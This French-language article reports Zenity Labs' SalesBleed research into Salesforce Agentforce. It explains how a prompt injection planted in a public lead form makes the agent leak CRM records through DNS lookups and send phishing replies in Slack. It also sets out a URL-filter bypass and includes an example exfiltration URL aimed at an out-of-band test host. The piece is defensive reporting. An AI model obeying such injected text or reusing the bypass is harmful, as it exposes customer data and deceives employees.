SalesBleed : un prospect public, trois failles d’Agentforce, zéro clic

Le 24 septembre 2026, Zenity Labs a publié une recherche qu'elle appelle SalesBleed : trois vulnérabilités dans Salesforce Agentforce, la plateforme du fournisseur de CRM pour créer et déployer des agents IA, qui permettent à un inconnu d'extraire des enregistrements clients de l'org Salesforce d'une entreprise, puis d'utiliser l'agent de cette entreprise pour mener une attaque de phishing contre son personnel. Deux des trois ne nécessitent aucun clic de la part de quiconque au sein de l'entreprise. L'exposition concerne les tenants Agentforce qui acceptent des soumissions Web-to-Lead, ainsi que tout agent qu'un tenant a publié dans Slack. Dark Reading rapporte qu'aucun identifiant CVE n'a été attribué, et Salesforce a déclaré au média n'avoir aucune preuve d'exploitation contre un client. Le dossier complet, avec le niveau de confiance et le statut de préjudice propres à l'archive, se trouve dans l'Orca AI Incident Archive, qui consigne chaque incident d'agent documenté en regard de ses sources citées.

Comment un formulaire public de prospects devient un canal de données

Web-to-Lead est le mécanisme officiel de Salesforce pour la collecte de prospects, et il est non authentifié par conception — il existe précisément pour que n'importe qui sur Internet puisse soumettre un formulaire et que son contenu atterrisse dans le CRM du client. Le premier article de Zenity, attribué à Alex Apostolov et à ses collègues, s'ouvre sur ce constat comme unique condition d'entrée : aucun compte à suspendre, aucune session à révoquer, aucun événement de connexion à détecter. L'attaquant ne touche jamais au tenant.

La chaîne décrite par les chercheurs se déroule en cinq étapes :

• L’attaquant soumet un lead via un point de terminaison Web-to-Lead public, avec une injection de prompt cachée dans l’un de ses champs. Cela ressemble à une demande de renseignements ordinaire.

• Le lead reste là jusqu'à ce qu'un employé demande à son agent quelque chose de tout à fait ordinaire — l'exemple de Zenity est « vérifie mes derniers leads et aide-moi avec le plus récent ».

• L’agent lit l’enregistrement empoisonné et suit les instructions qu’il contient, en utilisant l’outil Query Records que le sous-agent General CRM par défaut détient déjà pour interroger la table Accounts. Zenity précise explicitement qu’aucune élévation de privilèges n’était nécessaire : le même sous-agent est fourni avec un accès en lecture à Leads et à Accounts, et il s’agit de paramètres par défaut plutôt que d’erreurs de configuration.

• Il écrit les valeurs qu'il a récupérées — un nom d'entreprise et la taille d'une opération, dans l'exemple des chercheurs — dans le sous-domaine d'un nom d'hôte contrôlé par l'attaquant, puis renvoie le résultat à l'utilisateur sous la forme d'une balise d'image HTML.

• L’interface de discussion affiche des sources d’images externes sans assainissement ni étape de confirmation, donc le client résout le nom d’hôte. Les données sortent dans la requête DNS.

Cette dernière étape mérite qu’on s’y attarde. Comme la charge utile voyage dans la requête DNS, la requête HTTP qui suit n’a aucune importance — elle peut échouer, expirer ou être bloquée purement et simplement, les données sont déjà parties. Zenity fait remarquer que cela survit aux contrôles de sortie HTTP. Un seul libellé DNS est limité à 63 caractères et un nom complet à 253 ; une soumission ne laisse donc fuir qu’une tranche. Les chercheurs décrivent le vidage d’une table Accounts entière, un compte à la fois, au moyen de requêtes répétées, d’où le « bleed » dans le nom.

Il existe une seconde sortie qui demande encore moins : pour les agents publiés dans Slack, aucune balise d’image n’est nécessaire. Slack transforme les URL brutes en aperçus et explore le lien pour en construire un, donc afficher l’URL suffit à déclencher la même résolution DNS. SecurityWeek cite le résumé de Zenity du comportement qui en résulte : Slack lance des requêtes transportant des données CRM vers une infrastructure contrôlée par l’attaquant dès que les liens apparaissent.

Zenity se montre prudent sur ce que signifie « zéro clic » ici, et la distinction compte. L’employé fait exactement une chose : il pose à son propre agent une question normale sur ses propres prospects. Il n’ouvre pas de pièce jointe, ne suit pas de lien et n’interagit avec rien de ce que l’attaquant a envoyé. Tout ce qui suit cette question est automatique. Le prospect malveillant reste lui aussi dans la table des prospects comme n’importe quel autre enregistrement, de sorte qu’il peut se déclencher à nouveau chaque fois qu’un employé l’examine — et un attaquant qui veut un canal plus large peut simplement soumettre davantage de prospects. SecurityWeek rapporte un détail qui rend la défaillance encore plus nette : Agentforce a signalé que le contenu avait été bloqué par les politiques de sécurité de l’organisation, alors même que les données CRM avaient déjà atteint le serveur de l’attaquant.

Pourquoi le filtre Trusted URLs n’a pas fonctionné

Trusted URLs est le mécanisme de contrôle Salesforce censé empêcher exactement cela — il restreint les destinations externes qu'Agentforce peut atteindre et supprime les liens et les images pointant vers des domaines que personne n'a approuvés. Zenity a découvert deux cas limites qui, combinés, l'ont contourné sans la moindre difficulté.

Le premier était le domaine de premier niveau. L’outil de caviardage ne reconnaissait qu’une liste fixe de TLD, et .fun — le domaine utilisé par la plateforme de test hors bande app.interactsh.com — n’en faisait pas partie. Un nom d’hôte se terminant par un TLD non reconnu pouvait ne pas être identifié du tout comme nom d’hôte. Le second concernait l’endroit où se termine une URL : l’outil de caviardage et la surface qui affichait la réponse ne s’accordaient pas sur les caractères de terminaison, et les accolades et les crochets se trouvaient dans cet écart. Une chaîne telle que https://random_string.oast.fun/{email} n’est pas une URI valide au sens de la RFC 3986, mais elle produit tout de même la requête DNS dont l’attaque a besoin. L’outil de caviardage y voyait une non-URL malformée et la laissait intacte ; le navigateur était prêt à la récupérer comme source d’image.

Un détail structurel rendait le contournement paramétrable. Le caviardage s’exécute après que l’agent a généré sa sortie, en tant que processus distinct dont le modèle ne sait rien. Zenity a constaté que la sortie brute de l’agent et la version caviardée étaient toutes deux présentes dans les réponses envoyées au client, ce qui a permis aux chercheurs de comparer les deux et de supprimer les anomalies que le filtre interceptait — des crochets dans un sous-domaine, par exemple — jusqu’à ce que l’injection soit stable de bout en bout.

Dark Reading rapporte que le masquage d’URL de Salesforce s’était jusqu’à présent appuyé sur la correspondance par expressions régulières pour déterminer si une chaîne ressemblait à une URL, ce qui permettait de masquer des domaines dans des formats inattendus. L’entreprise indique avoir remplacé cela par une analyse d’URL conforme aux spécifications et avoir consolidé l’inspection des URL afin que tout le trafic d’agents lié aux URL passe désormais par une passerelle unique.

Le troisième défaut : l’hameçonnage au nom de l’agent lui-même

La découverte concernant Slack, publiée le même jour dans un second billet attribué à João Donato et à ses collègues, porte sur l’identité plutôt que sur les données. Les agents Agentforce peuvent être publiés directement dans Slack, et leurs capacités arrivent sous forme de sous-agents ; Zenity note que le modèle Slack Knowledge, y compris toutes ses actions, peut être ajouté en deux clics.

La plupart des actions d’écriture Slack examinées par les chercheurs comportaient deux protections : une étape de confirmation avant l’envoi, et l’attribution de l’invocateur indiquant aux destinataires quelle demande d’utilisateur avait provoqué le message. Envoyer un message direct Slack faisait les deux. Répondre à un fil Slack ne faisait ni l’un ni l’autre. Une fois qu’Agentforce a décidé d’invoquer cette action, le message est parti sans approbation ni attribution — il portait l’identité de l’agent et rien qui permettait de remonter à la personne qui l’avait demandé.

Cela a généré deux chemins d’attaque. Un initié malveillant qui peut déjà discuter avec l’agent peut publier un message d’hameçonnage dans le bon fil et repartir sans que rien ne permette de remonter jusqu’à lui, car les destinataires le lisent comme un message de l’agent. Un attaquant externe obtient le même résultat via l’injection Web-to-Lead : le prospect empoisonné demande à l’agent de répondre dans des canaux Slack, et celui-ci le fait sans demander à l’employé qui l’a déclenché. Le contournement du masquage des URL décrit dans le premier article est ce qui permet au lien d’hameçonnage de survivre au filtrage ; Zenity a ensuite constaté que des liens pouvaient aussi être cachés derrière un texte Markdown d’apparence anodine. Zenity et Salesforce présentent tous deux la conséquence dans les mêmes termes : les employés reçoivent le message d’un système de confiance déjà en fonctionnement dans leur environnement de travail plutôt que d’un expéditeur externe inconnu, et quiconque suit le lien et fournit ses identifiants expose l’e-mail, Slack, les dépôts de code source et tout ce que cette identité peut atteindre.

Ce qui est établi, et ce qui ne l’est pas

Quatre points sont établis dans l’ensemble des sources examinées ici. Zenity a démontré les chaînes d’attaque et publié une preuve de concept vidéo. Salesforce reconnaît l’analyse et décrit les changements qu’elle a apportés — dans des déclarations à Dark Reading et à SecurityWeek. Aucun CVE n’a été attribué à l’une des trois failles, ce que Dark Reading attribue au fait que les correctifs ont été apportés du côté de Salesforce, sur un service hébergé, plutôt que dans les logiciels exécutés par les clients. Et Salesforce déclare qu’elle n’a actuellement aucune preuve que l’une ou l’autre ait été exploitée contre un client.

Ce qui n’est pas tranché, c’est tout ce qui concerne l’ampleur. Aucune source examinée ici n’indique combien de locataires Agentforce exécutaient les paramètres par défaut concernés, si des données client ont réellement quitté un environnement client, ni si quelqu’un en dehors de Zenity Labs et de Salesforce l’a recherché. Les médias indépendants — Dark Reading, SecurityWeek, Infosecurity Magazine et The Register — ont tous rapporté les conclusions et relayé la réponse de Salesforce, mais aucun de ces articles ne fait état de sa propre reproduction de l’attaque. Il n’existe pas de seconde enquête technique indépendante sur SalesBleed, et cet article ne laisse pas entendre qu’il en existe une.

Les sources du dossier lui-même ne s’accordent pas non plus sur un détail, d’une manière qu’il vaut la peine de nommer plutôt que de lisser. Le communiqué de presse de Zenity, diffusé via Business Wire le 24 septembre, indique que Salesforce a traité les contournements spécifiques de Trusted URLs signalés par Zenity « en l’espace d’environ deux semaines ». La chronologie jour par jour de l’article technique de Zenity va du 1er juin, date d’envoi du rapport, aux 18 et 19 août, date à laquelle le correctif a été confirmé — soit près de onze semaines. Les deux versions proviennent de la même organisation.

Ce que Salesforce a modifié, et quand

La divulgation s’est prolongée et, selon Zenity, s’est déroulée cordialement. Les conclusions ont été envoyées à Salesforce par e-mail le 1er juin 2026 ; Salesforce les a confirmées le lendemain et a indiqué travailler sur des correctifs ; les deux équipes ont tenu un appel technique le 16 juin ; Salesforce a clôturé les divulgations le 17 juin en notant que l’ingénierie travaillait encore. Le 18 août, Salesforce a confirmé les correctifs, et le 19 août, Zenity a vérifié spécifiquement le contournement Trusted URLs. La correction de l’attribution de l’action Slack a été confirmée le 20 août. L’obligation de confirmation par défaut a pris plus de temps : le 25 août, Salesforce a déclaré y travailler encore ; le 10 septembre, Salesforce a donné le 21 septembre comme objectif ; et le 21 septembre, Zenity a testé et confirmé les trois.

Les changements décrits par Salesforce sont précis. Les paramètres par défaut de certaines actions Agentforce dans Slack exigent désormais la confirmation de l’utilisateur avant l’envoi d’un message, et l’entreprise indique qu’elle contacte directement les clients pour examiner leurs configurations. Concernant Trusted URLs, la correspondance par regex a disparu au profit d’une analyse syntaxique conforme aux spécifications, et l’inspection des URL a été regroupée dans une seule passerelle plutôt que d’être gérée à plusieurs points d’un workflow.

La note de clôture de Zenity sur le correctif Slack est une mise en garde plutôt qu’un feu vert. L’exigence de confirmation est un paramètre, et un seul clic suffit pour la désactiver ; une fois qu’elle est désactivée, le même chemin d’attaque redevient disponible. Le conseil des chercheurs aux organisations qui développent des agents est de surveiller la manière dont les actions d’écriture sont configurées plutôt que de supposer que la valeur par défaut tient.

Pourquoi les chercheurs affirment qu’il généralise

Aussi spécifiques que soient les détails propres à Salesforce, Zenity présente SalesBleed comme un exemple d’un schéma récurrent. Sa propre synthèse est que tout agent qui lit des enregistrements soumis par des sources externes, renvoie des liens ou des images à un utilisateur, et dispose également d’un accès outillé à des données sensibles réunit les trois mêmes ingrédients au même endroit. Les chercheurs qualifient cette combinaison de version de la trifecta létale — des données privées, un contenu non fiable et un canal sortant se rejoignant dans une même identité.

Ce schéma a des antécédents locaux. Dark Reading rapporte qu’un an avant SalesBleed, des chercheurs de Noma Security ont utilisé la même voie Web-to-lead pour accéder aux données Salesforce, et que Salesforce y a répondu en durcissant ses règles relatives aux URL — le caviardage basé sur des expressions régulières que Zenity a ensuite contourné. Un porte-parole de Salesforce a reconnu auprès de Dark Reading que la réponse précédente était un correctif rapide plutôt qu’une solution exhaustive, et a déclaré que celle-ci se voulait plus robuste.

« Nous avons trouvé plusieurs moyens de franchir la frontière de sécurité conçue pour empêcher Agentforce d’envoyer des données d’entreprise vers des destinations non approuvées », déclare Michael Bargury, cofondateur et directeur technique de Zenity, dans le communiqué. « Les limites strictes restent l’un des outils les plus puissants dont nous disposons pour contenir les agents d’IA, mais elles restent du logiciel. Lorsque ces contrôles échouent, il nous reste un agent à accès privilégié, doté d’une grande autonomie et sans limites. » Tamir Ishay Sharbat, directeur de la recherche en sécurité chez Zenity, a exposé le point plus général à Dark Reading : plus on donne de pouvoir à un agent, plus il est dangereux, et un agent capable d’envoyer des messages sur plusieurs canaux de lui-même tout en lisant des contrats, des prospects ou des comptes fournisseurs est une combinaison qui sera exploitée. Bargury a ajouté une deuxième préoccupation au même média : les agents sont conçus comme des boîtes noires, avec des résumés au lieu de journaux, ce qui rend difficile de savoir ce qu’un agent a fait ou pourquoi.

Ce qui ferait passer ce dossier de la démonstration à l’incident, ce n’est pas une nouvelle technique, mais une preuve : une divulgation par un client, une CVE, ou une déclaration de Salesforce ou de Zenity indiquant que les chaînes ont été observées en usage. Aucun de ces éléments n’existe dans les sources examinées ici. Tant que ce ne sera pas le cas, SalesBleed reste ce que l’archive consigne à son sujet — une vulnérabilité de haute gravité, documentée selon un niveau de confiance A par ses découvreurs et confirmée comme corrigée par le fournisseur, sans aucun préjudice réel enregistré.